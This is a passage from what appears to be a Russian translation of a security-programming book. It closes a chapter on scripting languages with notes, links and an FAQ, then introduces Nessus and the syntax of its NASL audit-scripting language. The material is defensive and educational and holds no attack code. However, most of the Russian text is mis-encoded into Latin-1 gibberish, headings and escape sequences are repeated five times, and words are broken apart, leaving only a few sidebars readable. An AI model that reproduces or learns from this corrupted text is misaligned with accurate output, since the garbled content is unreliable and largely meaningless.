ìûõ ïîïóëÿðíûõ ÿçûêîâ ñöåíàðèåâ â ìèðå, â òîì ÷èñëå è â îáëàñòè
îáåñïå÷åíèÿ áåçîïàñíîñòè.

� Â Perl èìåþòñÿ ôóíêöèè match è subst äëÿ ñîïîñòàâëåíèÿ ñòðîê ñ îáðàç-
öîì è âûïîëíåíèÿ çàìåíû. Ôóíêöèÿ match ïðèíèìàåò äâà àðãóìåíòà:
ñòðîêà, â êîòîðîé ïðîèçâîäèòñÿ ïîèñê, è èñêîìûé îáðàçåö. Ôóíêöèÿ
subst, ïîìèìî ýòèõ äâóõ àðãóìåíòîâ, ïðèíèìàåò åùå ñòðîêó, êîòîðóþ
íàäî ïîäñòàâèòü âçàìåí íàéäåííîé.

PythonPythonPythonPythonPython
� Python ëèøü íåäàâíî íà÷àë íàáèðàòü ïîïóëÿðíîñòü, îñîáåííî êàê èí-

ñòðóìåíò äëÿ íàïèñàíèÿ «ýêñïëîéòîâ».

Обзор изложенного материала
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� Îñíîâíûå  êîìïîíåíòû òàêèõ èçâåñòíûõ ïðîãðàìì, êàê  Inl ine Egg êîì-
ïàíèè Core Secutity Technologies è CANVAS êîìïàíèè Immunity Securi-
ty, íàïèñàíû íà Python.

Ссылки на сайты
Áîëåå ïîäðîáíóþ èíôîðìàöèþ ïî ðàññìîòðåííûì âîïðîñàì ìîæíî íàéòè
íà ñëåäóþùèõ ñàéòàõ:

� www.gnu.org/software/gcc/gcc.html. Äîìàøíÿÿ ñòðàíèöà êîìïèëÿòîðà
GNU C ñîäåðæèò ñïðàâî÷íóþ èíôîðìàöèþ ïî ÿçûêó C è îñîáåííîñ-
òÿì ïðîãðàììèðîâàíèÿ íà íåì;

� www.research.att.com/~bs/C++.html. Ñòðàíèöà èññëåäîâàòåëüñêîé ãðóï-
ïû êîìïàíèè AT&T, ïîñâÿùåííàÿ ÿçûêó C++. Ïîääåðæèâàåòñÿ ñîçäà-
òåëåì ÿçûêà Áüÿðíîì Ñòðàóñòðóïîì, ñîäåðæèò ïðåêðàñíóþ äîêóìåíòà-
öèþ è íåñêîëüêî âåëèêîëåïíûõ îáðàç÷èêîâ êîäà;

� http://java.sun.com/docs/books/tutorial/java/nutsandbolts/datatypes.html.
Õîðîøåå ñïðàâî÷íîå ðóêîâîäñòâî ïî òèïàì äàííûõ â ÿçûêå Java, îïóá-
ëèêîâàííîå íà ñàéòå êîìïàíèè Sun Microsystems;

� http://java.sun.com/products/jdk/1.2/docs/api/java/net/URLConnection.html.
×àñòü äîêóìåíòàöèè ïî JDK, îòíîñÿùàÿñÿ ê êëàññó URLConnection;

� www.csharphelp.com/archives/archives189.html. Íà ýòîì ñàéòå íåïëîõàÿ
ïîäáîðêà èíôîðìàöèè ïî ÿçûêó C# è âñòðîåííûì â íåãî ñðåäñòâàì
áåçîïàñíîñòè;

� www.l inuxgazette.com/issue85/ortiz.html. Ñïðàâî÷íîå  ðóêîâîäñòâî  íî-
ìåð 1 ïî ÿçûêó C# è òèïàì äàííûõ â íåì;

� www.perl.org. Äîìàøíÿÿ ñòðàíèöà ñàéòà, ïîñâÿùåííîãî ÿçûêó Perl, íà
êîòîðîì âû íàéäåòå äîêóìåíòàöèþ, ïðèìåðû ñöåíàðèåâ è îíëàéíîâûå
ðóêîâîäñòâà;

� www.activestate.com. Êîìïàíèÿ ActiveState ðàçðàáîòàëà ñàìûé ïîïóëÿð-
íûé èíòåðïðåòàòîð Perl äëÿ Windows. Åãî ìîæíî áåñïëàòíî ñêà÷àòü
âìåñòå ñî âñåé äîêóìåíòàöèåé;

� www.python.org. Äîìàøíÿÿ ñòðàíèöà ñàéòà, ïîñâÿùåííîãî ÿçûêó Python.
Çäåñü ïðåäñòàâëåíà äîêóìåíòàöèÿ, ïðèìåðû ïðîãðàìì è èíñòðóìåí-
òàëüíûå ñðåäñòâà.
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Часто задаваемые вопросы
Ñëåäóþùèå âîïðîñû, íà êîòîðûå ÷àñòî îòâå÷àþò àâòîðû êíèãè, ïðèçâàíû
ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåííûå â äàí-
íîé ãëàâå è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå çàäàòü
àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çàïîëíèòå
ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðóãèõ FAQîâ
íà ñàéòå ITFAQnet.com.

ÂÂÂÂÂ: Äîïóñòèì, ÿ õî÷ó ìîäèôèöèðîâàòü ÿçûê ñöåíàðèåâ ïîä ñâîè íóæäû. Êà-
êîé ÿçûê ïðîùå âñåãî ïîääàåòñÿ ðàñøèðåíèþ?

ÎÎÎÎÎ: Ëåãêî ïîääàþòñÿ ðàñøèðåíèþ ïî÷òè âñå ÿçûêè ñöåíàðèåâ. Ïðèíèìàÿ
âî âíèìàíèå ðàçëè÷íûå ôàêòîðû, ìîæíî ñêàçàòü, ÷òî ïðîùå âñåãî ðàñøè-
ðèòü Perl, ïîòîì Python, ïîòîì Javascri pt. Ðàñøèðåíèå  ìîæåò âûãëÿäåòü ïî-
ðàçíîìó, íî, îáû÷íî, ðåàëèçóåòñÿ ñ ïîìîùüþ áèáëèîòåê èëè ìîäóëåé, ðàçáè-
ðàåìûõ âî âðåìÿ âûïîëíåíèÿ ñöåíàðèÿ.

ÂÂÂÂÂ: Ïî÷åìó òàê òðóäíî ðåàëèçîâàòü ðàáîòó ñ ïðîñòûìè (raw) ñîêåòàìè
â ÿçûêàõ ñöåíàðèåâ?

ÎÎÎÎÎ: ßçûêè ñöåíàðèåâ ðàçðàáàòûâàëèñü êàê ñðåäñòâî äëÿ îáëåã÷åíèÿ è óñêî-
ðåíèÿ ïðîãðàììèðîâàíèÿ çà ñ÷åò óòðàòû íåêîòîðîé ôóíêöèîíàëüíîñòè.
Ïðåæäå âñåãî, ñöåíàðèè íå êîìïèëèðóþòñÿ â ìàøèííûé êîä è îáû÷íî íå
ìîãóò ññûëàòüñÿ íà êîíêðåòíûå àäðåñà â ïàìÿòè. Ôóíêöèè ñîêåòîâ, ðåàëèçî-
âàííûå â áîëüøèíñòâå òàêèõ ÿçûêîâ, ðàññ÷èòàíû íà ìàññîâîãî ïîëüçîâàòå-
ëÿ, à íå «ñïåöà», êîòîðûé æåëàåò ìîäèôèöèðîâàòü íåêîòîðûå ïîëÿ â ïàêåòå
ïðîòîêîëà TCP èëè UDP. Ïî áîëüøåé ÷àñòè, ðåàëèçàöèÿ ñîêåòîâ ïîçâîëÿåò
ïðîñòî çàäàâàòü ïîëåçíóþ íàãðóçêó, à äëÿ ñîçäàíèÿ IP-ïàêåòîâ è äàæå äëÿ äî-
ñòóïà ê MAC-àäðåñàì ñðåäñòâà íå ïðåäîñòàâëÿþòñÿ.

ÂÂÂÂÂ: ×òî ëó÷øå: ðåêóðñèÿ èëè èòåðàöèÿ?
ÎÎÎÎÎ: Ôóíêöèîíàëüíî ðåêóðñèÿ è èòåðàöèÿ ýêâèâàëåíòíû. Ëþáóþ ðåêóðñèâíóþ

ôóíêöèþ ìîæíî íàïèñàòü òîëüêî ñ ïîìîùüþ èòåðàöèé è íàîáîðîò. Â áîëü-
øèíñòâå ñëó÷àåâ ïðîãðàììèñò âûáèðàåò òîò ïîäõîä, êîòîðûé äàåò áîëåå ïîíÿò-
íîå ðåøåíèå. Íî, åñëè áûñòðîäåéñòâèå êðèòè÷åñêè âàæíî, òî ëó÷øå ïðèáåãíóòü
ê èòåðàöèè. Äëÿ ðåêóðñèè õàðàêòåðíî ìíîãî âûçîâîâ ôóíêöèè èëè ìåòîäà,
à ýòî íàêëàäíûå ðàñõîäû, êîòîðûìè èòåðàòèâíûé ïîäõîä íå îáðåìåíåí.

ÂÂÂÂÂ: Ìîãó ëè ÿ èñïîëüçîâàòü ñîáñòâåííûé êðèïòîãðàôè÷åñêèé àëãîðèòì?
ÎÎÎÎÎ: Íå ñòîèò. Î÷åíü òðóäíî ðàçðàáîòàòü êðèïòîãðàôè÷åñêè áåçîïàñíûé àë-

ãîðèòì. Ïðåæäå ÷åì àëãîðèòìó ìîæíî áóäåò äîâåðèòü øèôðîâàíèå ñåêðåò-
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íûõ äàííûõ, åãî íåñêîëüêî ëåò ïîäâåðãàþò ïóáëè÷íîìó èññëåäîâàíèþ è îá-
ñóæäåíèþ. Ïîëüçóéòåñü êðèïòîãðàôè÷åñêèìè áèáëèîòåêàìè, ïîñòàâëÿåìû-
ìè âìåñòå ñ âàøèì ëþáèìûì ÿçûêîì, èëè êîììåð÷åñêèìè ïðîãðàììàìè,
ïðîøåäøèìè «îáùåñòâåííûé êîíòðîëü».

ÂÂÂÂÂ: Êàê ïðèñòóïèòü ê ñîçäàíèþ ÿçûêà ïðîãðàììèðîâàíèÿ?
ÎÎÎÎÎ: Ïåðâûì äåëîì íóæíî ðàçðàáîòàòü ñèíòàêñèñ, îïðåäåëèòü çàðåçåðâèðî-

âàííûå ñëîâà è íàáîð äîïóñòèìûõ ñèìâîëîâ. Ñòðóêòóðà ÿçûêà îïðåäåëÿåòñÿ
êîíòåêñòíî-ñâîáîäíîé ãðàììàòèêîé. Äëÿ îïèñàíèÿ ãðàììàòèêè ÷àñòî ïðè-
ìåíÿþò ôîðìó Áýêóñà-Íàóðà (BNF). Íàêîíåö, ðàçðàáàòûâàåòñÿ êîìïèëÿòîð,
êîòîðûé ðåàëèçóåò ÿçûê, çàäàííûé ñâîåé ãðàììàòèêîé.

ÂÂÂÂÂ: ×òî òàêîå ññûëî÷íûå ïåðåìåííûå è ÷åì îíè îòëè÷àþòñÿ îò óêàçàòåëåé?
ÎÎÎÎÎ: Óêàçàòåëü – ýòî, ïî ñóòè äåëà, àäðåñ â ïàìÿòè. Äëÿ ïðÿìîãî äîñòóïà

ê ïàìÿòè â ÿçûêå C ïðèìåíÿåòñÿ ñèìâîë &. Ðåàëèçàöèÿ òàêîãî ìåõàíèçìà
òðåáóåò âçàèìîäåéñòâèÿ ñ àïïàðàòóðîé. Îñíîâíîå äîñòîèíñòâî ññûëî÷íûõ
ïåðåìåííûõ – ïðîñòîòà èñïîëüçîâàíèÿ. Ðàçðàáîò÷èêè íå õîòÿò, ÷òîáû èç-çà
ïðîñòîé îøèáêè ïîñòðàäàëà êðèòè÷åñêè âàæíàÿ îáëàñòü ïàìÿòè.
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Введение
Ïðîãðàììà Nessus – ýòî ìîùíûé, ñîâðåìåííûé, ïðîñòîé â ïðèìåíåíèè áåñ-
ïëàòíûé ñêàííåð áåçîïàñíîñòè óäàëåííûõ ñèñòåì. Îíà èñïîëüçóåòñÿ äëÿ àóäè-
òà ñåòåé ñ öåëüþ îáíàðóæåíèÿ ñëàáûõ ìåñò è èçâåñòíûõ óÿçâèìîñòåé.

ßçûê  Nessus Attack Scri pting Language (NASL – ÿçûê  ñöåíàðèåâ àòàê  äëÿ
Nessus) ïîçâîëÿåò ïèñàòü ñîáñòâåííûå ñöåíàðèè àóäèòà áåçîïàñíîñòè. Íàïðè-
ìåð, åñëè îðãàíèçàöèÿ ïëàíèðóåò óñòàíîâèòü íà âñåõ õîñòàõ âíóòðè àäìèíèñò-
ðàòèâíîé ïîäñåòè OpenSSH âåðñèè 3.6.1 íà ïîðòó 22000, òî ìîæíî íàïèñàòü
ïðîñòîé ñöåíàðèé, êîòîðûé ïðîâåðèò âûïîëíåíèå ýòîãî òðåáîâàíèÿ.

Ïðè ïðîåêòèðîâàíèè NASL ñòàâèëàñü çàäà÷à îáëåã÷èòü ñîâìåñòíîå èñïîëü-
çîâàíèå ñöåíàðèåâ, íàïèñàííûõ ðàçíûìè ïîëüçîâàòåëÿìè. Åñëè íà íåêîòî-
ðîì ñåðâåðå áûëî îáíàðóæåíî ïåðåïîëíåíèå áóôåðà, òî êòî-íèáóäü îáÿçà-
òåëüíî íàïèøåò ñöåíàðèé äëÿ ïðîâåðêè ñóùåñòâîâàíèÿ ýòîé óÿçâèìîñòè.
Åñëè ýòîò ñöåíàðèé ñîñòàâëåí ñ ó÷åòîì ïðåäúÿâëÿåìûõ òðåáîâàíèé è îòîñëàí
àäìèíèñòðàòîðàì Nessus, òî îí âîéäåò â ïîñòîÿííî ðàñòóùóþ áèáëèîòåêó,
ïðèìåíÿåìóþ äëÿ ïîèñêà èçâåñòíûõ óÿçâèìîñòåé. Íî, êàê è ìíîãèå äðóãèå
èíñòðóìåíòû áåçîïàñíîñòè, Nessus – ýòî ïàëêà î äâóõ êîíöàõ. Õàêåðû è êðå-
êåðû òîæå ìîãóò âîñïîëüçîâàòüñÿ Nessus äëÿ ñêàíèðîâàíèÿ ñåòåé, ïîýòîìó
âàæíî êàê ìîæíî ÷àùå ïîäâåðãàòü ñâîþ ñåòü àóäèòó.

Íàçíà÷åíèå íàñòîÿùåé ãëàâû – íàó÷èòü âàñ ïèñàòü òàêèå ñöåíàðèè íà ÿçû-
êå NASL, êîòîðûìè ìîæíî îáìåíèâàòüñÿ ñ äðóãèìè ïîëüçîâàòåëÿìè. Ìû îá-
ñóäèì òàêæå öåëè ÿçûêà, åãî ñèíòàêñèñ, ñðåäó ðàçðàáîòêè è âîïðîñû ïåðåíîñà
êîäà ñ ÿçûêîâ C/C++ è Perl íà NASL è îáðàòíî.

История

Ïðîãðàììó Nessus íàïèñàë è ñîïðîâîæäàåò Ðåíî Äåðåçîí (Renaud Deraison).
Âîò âûäåðæêà èç äîêóìåíòàöèè, â êîòîðîé ãîâîðèòñÿ îá èñòîðèè ïðîåêòà:

NASL вырос из частного проекта «pkt_forge», который разработал
в конце 1998 года Рено Дерезон и который представлял собой ин�
терактивную оболочку для конструирования и отправки IP�па�
кетов (программа появилась на пару недель раньше Perl�модуля
Net::RawIP). Затем проект был расширен с целью поддержки более
широкого набора сетевых операций и интегрирован с Nessus под на�
званием NASL.
Первый синтаксический анализатор был написан вручную, и работать
с ним было очень тяжело. В середине 2002 года Мишель Арбуа (Michel
Arboi) написал анализатор для NASL на базе bison, после чего вдвоем
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с Рено Дерезоном они переписали NASL с нуля. Хотя «новый» NASL
находился в почти работоспособном состоянии еще в августе 2002
года, из�за лени Мишеля нам пришлось ждать начала 2003 года для
оканчательного завершения создания языка.

Ïî ñðàâíåíèþ ñ NASL1 â NASL2 âêëþ÷åíî ìíîæåñòâî óñîâåðøåíñòâîâà-
íèé. ßçûê ñòàë çíà÷èòåëüíî áûñòðåå, ñîäåðæèò áîëüøå ôóíêöèé è îïåðàòî-
ðîâ, ïîääåðæèâàåò ìàññèâû. Åãî ñèíòàêñè÷åñêèé àíàëèçàòîð ñîçäàí ñ ïîìî-
ùüþ ãåíåðàòîðà bison è ïîòîìó íàìíîãî ñòðîæå, ÷åì «ðó÷íîé» àíàëèçàòîð
â NASL1. NASL2 ëó÷øå ñïðàâëÿåòñÿ ñî ñëîæíûìè âûðàæåíèÿìè, ÷åì NASL1.
Ëþáîå óïîìèíàíèå NASL â ýòîé ãëàâå îòíîñèòñÿ ê NASL2.

Назначение NASL

Îñíîâíîå íàçíà÷åíèå ïî÷òè âñåõ ñöåíàðèåâ íà ÿçûêå NASL – óäàëåííîå âû-
ÿâëåíèå èçâåñòíûõ óÿçâèìîñòåé íà öåëåâîé ìàøèíå.

Ïðîñòîòà è óäîáñòâîÏðîñòîòà è óäîáñòâîÏðîñòîòà è óäîáñòâîÏðîñòîòà è óäîáñòâîÏðîñòîòà è óäîáñòâî
NASL ñîçäàâàëñÿ äëÿ òîãî, ÷òîáû ïîëüçîâàòåëè ìîãëè ëåãêî è áûñòðî ïèñàòü
ñöåíàðèè, îòíîñÿùèåñÿ ê áåçîïàñíîñòè. Äëÿ ýòîãî â NASL èìåþòñÿ ôóíêöèè
äëÿ ñîçäàíèÿ ïàêåòîâ, ïîèñêà îòêðûòûõ ïîðòîâ è âçàèìîäåéñòâèÿ ñ òàêèìè
ïðîòîêîëàìè, êàê Hypertext Transfer Protocol (HTTP), File Transfer Protocol
(FTP) è Telnet. Êðîìå òîãî, NASL ïîääåðæèâàåò ïðîòîêîë HTTP ïîâåðõ ñëîÿ
Secure Sockets Layer (HTTPS).

Ìîäóëüíîñòü è ýôôåêòèâíîñòüÌîäóëüíîñòü è ýôôåêòèâíîñòüÌîäóëüíîñòü è ýôôåêòèâíîñòüÌîäóëüíîñòü è ýôôåêòèâíîñòüÌîäóëüíîñòü è ýôôåêòèâíîñòü
NASL ïîçâîëÿåò ëþáîìó ñöåíàðèþ âîñïîëüçîâàòüñÿ ðàáîòîé, ïðîäåëàííîé
ðàíåå â äðóãèõ ñöåíàðèÿõ. Äëÿ ýòîãî ñëóæèò «áàçà çíàíèé» Nessus. Â õîäå èñ-
ïîëíåíèÿ Nessus êàæäûé NASL-ñöåíàðèé ïîìåùàåò ðåçóëüòàòû ñâîåé ðàáîòû
â ëîêàëüíóþ áàçó äàííûõ, îòêóäà îíè ìîãóò áûòü èçâëå÷åíû äðóãèìè ñöåíàðè-
ÿìè. (Íàïðèìåð, íåêèé ñöåíàðèé ìîã ïðîñêàíèðîâàòü õîñò íà íàëè÷èå ñëóæ-
áû FTP è çàïèñàòü â áàçó äàííûõ íîìåðà ïîðòîâ, íà êîòîðûõ îáíàðóæåí FTP-
ñåðâåð. Åñëè íàéäåíî äâà ýêçåìïëÿðà FTP – íà ïîðòàõ 21 è 909, òî çíà÷åíèÿìè
ïàðàìåòðà Service/FTP áóäóò ÷èñëà 21 è 909.) Åñëè â äàëüíåéøåì äðóãîé ñöåíà-
ðèé, ïðåäíàçíà÷åííûé äëÿ ïîèñêà «âîëøåáíîãî FTP-ñåðâåðà Äæåéñîíà», âû-
çîâåò ôóíêöèþ get_kb_item(Services/FTP), òî îí àâòîìàòè÷åñêè áóäåò âûïîë-
íåí äâàæäû, ïî îäíîìó ðàçó äëÿ êàæäîãî íîìåðà ïîðòà. Ýòî êóäà ýôôåêòèâ-
íåå, ÷åì çàíîâî çàïóñêàòü ïîëíûé àëãîðèòì ñêàíèðîâàíèÿ TCP-ïîðòîâ äëÿ
ïðîâåðêè íàëè÷èÿ ñëóæáû FTP.

Введение
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ÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòü
Ïîñêîëüêó NASL-ñöåíàðèè ðàçäåëÿþòñÿ âñåìè ïîëüçîâàòåëÿìè, èíòåðïðå-

òàòîð NASL äîëæåí óìåòü äàâàòü ãàðàíòèè îòíîñèòåëüíî áåçîïàñíîñòè êàæ-
äîãî ñöåíàðèÿ. NASL ãàðàíòèðóåò äâå âåùè:

� Ïàêåòû íå ïîñûëàþòñÿ íèêàêîìó õîñòó, êðîìå öåëåâîãî;
� Êîìàíäû íèêîãäà íå âûïîëíÿþòñÿ íà ëîêàëüíîé ñèñòåìå.

Òåì ñàìûì çàãðóçêà è èñïîëíåíèå NASL-ñöåíàðèåâ, íàïèñàííûõ äðóãèìè,
áåçîïàñíåå, ÷åì èñïîëíåíèå ïðîèçâîëüíîãî êîäà. Îäíàêî, íåêîòîðûå ñöåíà-
ðèè ïèøóòñÿ äëÿ îáíàðóæåíèÿ è èíîãäà ýêñïëóàòàöèè óÿçâèìîñòåé â ñëóæáàõ,
ðàáîòàþùèõ íà öåëåâîì õîñòå, ïîýòîìó ìîãóò ïðèâåñòè ê êðàõó îòäåëüíîé
ñëóæáû èëè õîñòà â öåëîì. Ñöåíàðèè, çàãðóæåííûå ñ ñàéòà nessus.org, ðàçáèòû
íà äåâÿòü êàòåãîðèé â çàâèñèìîñòè îò òîãî, ÷òî îíè äåëàþò: òîëüêî ñîáèðàþò
èíôîðìàöèþ, âûâîäÿò ñëóæáó èç ñòðîÿ, ïûòàþòñÿ âûâåñòè èç ñòðîÿ õîñò è
òàê äàëåå. Ïîëüçîâàòåëè Nessus ìîãóò ñàìè ðåøèòü, ñöåíàðèè êàêîé êàòåãî-
ðèè ðàçðåøåíî èñïîëíÿòü.

Îãðàíè÷åíèÿ NASLÎãðàíè÷åíèÿ NASLÎãðàíè÷åíèÿ NASLÎãðàíè÷åíèÿ NASLÎãðàíè÷åíèÿ NASL
Âàæíî ïîíèìàòü, ÷òî NASL – ýòî íå óíèâåðñàëüíûé ÿçûê ñöåíàðèåâ, ïðè-
çâàííûé çàìåíèòü Perl èëè Python. Ïðîìûøëåííûå ÿçûêè ìîãóò äåëàòü
âåùè, íåâûïîëíèìûå ñðåäñòâàìè NASL. È õîòÿ NASL âåñüìà ýôôåêòèâåí è
îïòèìèçèðîâàí äëÿ ðàáîòû ñ Nessus, âñå æå ýòî íå ñàìûé áûñòðûé ÿçûê
â ìèðå. Ìèøåëü Àðáóà óòâåðæäàåò, ÷òî ïðè âûïîëíåíèè íåêîòîðûõ çàäà÷
NASL2 áûñòðåå NASL1 â 16 ðàç.

Синтаксис языка NASL
Â ýòîì ðàçäåëå ìû äàäèì íåêîòîðîå ïðåäñòàâëåíèå î ñèíòàêñèñå NASL, äîñ-
òàòî÷íîå äëÿ òîãî, ÷òîáû âû ìîãëè ïðèñòóïèòü ê íàïèñàíèþ ñîáñòâåííûõ
ñöåíàðèåâ. Ïîëíîå ðàññìîòðåíèå ñèíòàêñèñà NASL, âêëþ÷àþùåå ôîðìàëü-
íîå îïèñàíèå ãðàììàòèêè, âû ìîæåòå íàéòè â «Ñïðàâî÷íîì ðóêîâîäñòâå ïî
ÿçûêó NASL2» Ìèøåëÿ Àðáóà.

ÊîììåíòàðèèÊîììåíòàðèèÊîììåíòàðèèÊîììåíòàðèèÊîììåíòàðèè
Òåêñò, ñëåäóþùèé çà ñèìâîëîì # äî êîíöà ñòðîêè, èãíîðèðóåòñÿ. Ìíîãî-
ñòðî÷íûå êîììåíòàðèè (òèïà /* */ â C) íå äîïóñêàþòñÿ.

Ïðèìåð ïðàâèëüíîãî êîììåíòàðèÿ:Ïðèìåð ïðàâèëüíîãî êîììåíòàðèÿ:Ïðèìåð ïðàâèëüíîãî êîììåíòàðèÿ:Ïðèìåð ïðàâèëüíîãî êîììåíòàðèÿ:Ïðèìåð ïðàâèëüíîãî êîììåíòàðèÿ:
x = 1   # ïðèñâîèòü x çíà÷åíèå 1
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Ïðèìåðû íåïðàâèëüíûõ êîììåíòàðèåâ:Ïðèìåðû íåïðàâèëüíûõ êîììåíòàðèåâ:Ïðèìåðû íåïðàâèëüíûõ êîììåíòàðèåâ:Ïðèìåðû íåïðàâèëüíûõ êîììåíòàðèåâ:Ïðèìåðû íåïðàâèëüíûõ êîììåíòàðèåâ:
# Àâòîð: Syngress
Èìÿ ôàéëà: example.nasl #

port = get_kb_item # ÷èòàòü ïîðò èç áàçû çíàíèé # ("Services/http")

ÏåðåìåííûåÏåðåìåííûåÏåðåìåííûåÏåðåìåííûåÏåðåìåííûå
Ðàáîòàòü ñ ïåðåìåííûìè â NASL î÷åíü ïðîñòî. Èõ íå íàäî îáúÿâëÿòü çàðà-
íåå, è î ïðåîáðàçîâàíèè òèïîâ, âûäåëåíèè è îñâîáîæäåíèè ïàìÿòè çàáîòèò-
ñÿ ñàì èíòåðïðåòàòîð. Êàê è â C, èìåíà ïåðåìåííûõ â NASL ÷óâñòâèòåëüíû
ê ðåãèñòðó.

NASL ïîääåðæèâàåò ñëåäóþùèå òèïû äàííûõ: öåëûå ÷èñëà, ñòðîêè, ìàññè-
âû è NULL. Áóëåâñêèå âåëè÷èíû ðåàëèçîâàíû, íî íå êàê îòäåëüíûé òèï äàí-
íûõ. ×èñëà ñ ïëàâàþùåé òî÷êîé NASL íå ïîääåðæèâàåò.

Öåëûå ÷èñëàÖåëûå ÷èñëàÖåëûå ÷èñëàÖåëûå ÷èñëàÖåëûå ÷èñëà
Åñòü òðè âèäà öåëûõ ÷èñåë: äåñÿòè÷íûå, âîñüìåðè÷íûå è øåñòíàäöàòåðè÷íûå.
Âîñüìåðè÷íûå ÷èñëà çàïèñûâàþòñÿ ñ íà÷àëüíûì íóëåì, à øåñòíàäöàòåðè÷-
íûì ïðåäøåñòâóåò ïðåôèêñ 0x. Òàêèì îáðàçîì, 0x10 = 020 = 16. Öåëûå ÷èñëà
ðåàëèçîâàíû ñ ïîìîùüþ òèïà int (èç ÿçûêà C), òàê ÷òî äëÿ áîëüøèíñòâà ñèñ-
òåì çàíèìàþò 32 áèòà, à äëÿ íåêîòîðûõ – 64 áèòà.

ÑòðîêèÑòðîêèÑòðîêèÑòðîêèÑòðîêè
Åñòü äâà âèäà ñòðîê: ÷èñòûå (pure) è íåî÷èùåííûå (impure). Íåî÷èùåííûå
ñòðîêè çàêëþ÷àþòñÿ â äâîéíûå êàâû÷êè, escape-ïîñëåäîâàòåëüíîñòè â íèõ íå
îáðàáàòûâàþòñÿ. Âíóòðåííÿÿ ôóíêöèÿ string ïðåîáðàçóåò íåî÷èùåííûå ñòðî-
êè â ÷èñòûå, èíòåðïðåòèðóÿ escape-ïîñëåäîâàòåëüíîñòè âíóòðè ñòðîêè, çà-
êëþ÷åííîé â îäèíàðíûå êàâû÷êè. Íàïðèìåð, íåî÷èùåííóþ ñòðîêó City\tState
ôóíêöèÿ string ïðåîáðàçîâàëà áû â City State.

NASL ïîääåðæèâàåò ñëåäóþùèå escape-ïîñëåäîâàòåëüíîñòè:

� \n\n\n\n\n – ñèìâîë ïåðåõîäà íà íîâóþ ñòðîêó;
� \t\t\t\t\t – ãîðèçîíòàëüíàÿ òàáóëÿöèÿ;
� \v\v\v\v\v – âåðòèêàëüíàÿ òàáóëÿöèÿ;
� \r\r\r\r\r – âîçâðàò êàðåòêè;
� \f\f\f\f\f – ïåðåõîä íà íîâóþ ñòðàíèöó;
� \’\’\’\’\’ – îäèíî÷íàÿ êàâû÷êà;
� \”\”\”\”\” – äâîéíàÿ êàâû÷êà;
� \x41\x41\x41\x41\x41 – ýòî A, \x42A, \x42A, \x42A, \x42A, \x42 – ýòî BBBBB è ò.ä. Ïîñëåäîâàòåëüíîñòü \x00 íåäîïóñòèìà.

ÌàññèâûÌàññèâûÌàññèâûÌàññèâûÌàññèâû
Â NASL ïîääåðæèâàþòñÿ ìàññèâû äâóõ âèäîâ: ñòàíäàðòíûå è àññîöèàòèâ-
íûå. Ñòàíäàðòíûå ìàññèâû èíäåêñèðóþòñÿ öåëûìè ÷èñëàìè, íà÷èíàÿ ñ íóëÿ.
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Советы и уловки

Чем кончаются строки?
Много лет назад был сконструирован компьютер «Teletype Model 33»,
в котором использовались только рычаги, пружины, перфокарты и ро�
торы. Машина могла выводить информацию со скоростью 10 симво�
лов в секунду, но для перевода печатающей головки в начало следую�
щей строки требовалось примерно две десятых секунды. Все симво�
лы, выводимые в течение этого интервала, терялись. Для решения
проблемы конструкторы решили для обозначения конца строки ис�
пользовать последовательность из двух символов: «возврат каретки»
для возврата головки в начало текущей строки и «перевод строки» для
продвижения бумаги на одну строку.
Конструкторы первых компьютеров решили, что два символа для обо�
значения конца строка – это пустой расход памяти. Некоторые пред�
почли ограничиться единственным символом возврата каретки (\r или
\x0d), другие символом перевода строки (\n или \x0a). Были и такие,
кто решил сохранить оба символа.
Так и получилось, что в разных операционных системах строки текста
завершаются по�разному:

� В Microsoft Windows применяется комбинация возврата каретки и
перевода строки (\r\n);

� В UNIX используется только символ перевода строки (\n);
� В Macintosh OS 9 и более ранних версиях используется символ

возврата каретки (\r).

Система Macintosh OS X – это помесь традиционной системы Mac OS
и UNIX. В ней используется то \r, то \n в зависимости от ситуации.
В большинстве командных утилит, заимствованных из UNIX, применя�
ется символ \n, тогда как графические приложения, унаследованные
от OS 9, продолжают завершать строки символом \r.

Àññîöèàòèâíûå æå ìàññèâû èëè õýøè ïîçâîëÿþò â êà÷åñòâå êëþ÷à èñïîëüçî-
âàòü ñòðîêè, íî ïðè ýòîì íå ñîõðàíÿåòñÿ ïîðÿäîê ýëåìåíòîâ. Â îáîèõ ñëó÷à-
ÿõ äëÿ âçÿòèÿ èíäåêñà ïðèìåíÿåòñÿ îïåðàòîð [ ].

Âàæíî îòìåòèòü, ÷òî êîãäà âû óêàçûâàåòå áîëüøîå ÷èñëî â êà÷åñòâå èíäåêñà,
NASL âûíóæäåí âûäåëèòü ïàìÿòü äëÿ âñåõ ïðîìåæóòî÷íûõ ýëåìåíòîâ ìàññèâà,
÷òî ìîæåò ïðèâåñòè ê ÷ðåçìåðíîìó ðàñõîäîâàíèþ ïàìÿòè. Â òàêèõ ñëó÷àÿõ ëó÷-
øå ïðåîáðàçîâàòü ÷èñëî â ñòðîêó è ïðèáåãíóòü ê àññîöèàòèâíîìó ìàññèâó.
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NULLNULLNULLNULLNULL
NULL – ýòî «çíà÷åíèå», êîòîðîå èìååò ïåðåìåííàÿ, ïîêà åé íå ïðèñâîèëè
äðóãîå çíà÷åíèå ÿâíî. Èíîãäà åãî âîçâðàùàþò âíóòðåííèå ôóíêöèè, ÷òîáû
ñîîáùèòü îá îøèáêå.

×òîáû ïðîâåðèòü, ðàâíà ïåðåìåííàÿ NULL èëè íåò, ïîëüçóéòåñü ôóíêöèåé
isnull(). Ïðÿìîå ñðàâíåíèå ñ êîíñòàíòîé NULL (var == NULL) íåáåçîïàñíî,
ïîñêîëüêó NULL àâòîìàòè÷åñêè ïðåîáðàçóåòñÿ â 0 èëè «» (ïóñòóþ ñòðîêó)
â çàâèñèìîñòè îò òèïà ïåðåìåííîé var.

Âçàèìîäåéñòâèå ìåæäó çíà÷åíèåì NULL è ìàññèâàìè íåòðèâèàëüíî. Ïîñ-
ëå ïîïûòêè ïðî÷èòàòü ýëåìåíò ìàññèâà èç ïåðåìåííîé, ðàâíîé NULL, ýòà ïå-
